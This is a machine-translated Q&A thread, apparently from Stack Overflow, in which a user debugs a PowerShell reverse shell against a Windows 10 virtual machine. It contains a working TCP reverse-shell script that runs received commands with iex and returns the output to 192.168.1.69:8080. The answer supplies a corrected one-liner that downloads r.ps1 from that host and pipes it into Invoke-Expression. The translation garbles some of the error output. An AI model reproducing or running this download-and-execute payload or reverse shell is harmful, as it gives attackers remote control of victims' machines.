2017-04-11 39 views
0

我試着讓我的Win10虛擬機外殼,但我得到這些 errorsPowerShell的問題來調用外殼

PS C:\用戶\迭Sepu> IEX(新物體Net.WebClient).DownloadString( 'http://192.168.1.69/r.ps1')

IEX:在線路:13字符:39

內容S .TCPClient(「192.168.1.69 \ '94,8080))。GetStream(); [byte []] $ bt = 0..65535 ...

該字符串缺少終結符:」。

在線:14字符:2

}

缺少表達閉 ')'。

在行:1個字符:1

{\ RTF1 \ ANSI \ ansicpg1252 \ cocoartf1504 \ cocoasubrtf820

缺少右 '}' 在語句塊或類型定義。

在行:1個字符:1

IEX(新物體Net.WebClient).DownloadString(...

~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ CategoryInfo:ParserError:(:) [調用-表達式],ParseException的

FullyQualifiedErrorId:TerminatorExpectedAtEndOfString,Microsoft.PowerShell.Commands.InvokeExpressionCommand

代碼:

$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream() 
[byte[]]$bt=0..65535|%{0} 
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0) 
{ 
    $d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i) 
    $st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1)) 
    $sm.Write($st,0,$st.Length) 
} 
+1

請[編輯]你的代碼,以便它不運行作爲一個單行。更難以查看代碼的流程。還包括問題正文中的錯誤文本以及圖像不能被刮掉的文本 – Matt

+1

看起來像很多語法錯誤。嘗試用一些換行符替換分號並使用一些縮進來使您的括號更易於查看。 –

+0

我更改了代碼,這個更小,但仍然有錯誤,有什麼建議嗎? –

回答

0

(new-object Net.WebClient).DownloadString("http://192.168.1.69:8080/r.ps1") | iex

嘗試做downloadstring第一管道,然後將成果轉化爲invoke-espression在原來的截圖中,你不能調用r.ps1 INFACT你正在嘗試調用下載本身的內容。通過管道DownloadString結果r.ps1實際內容將extecute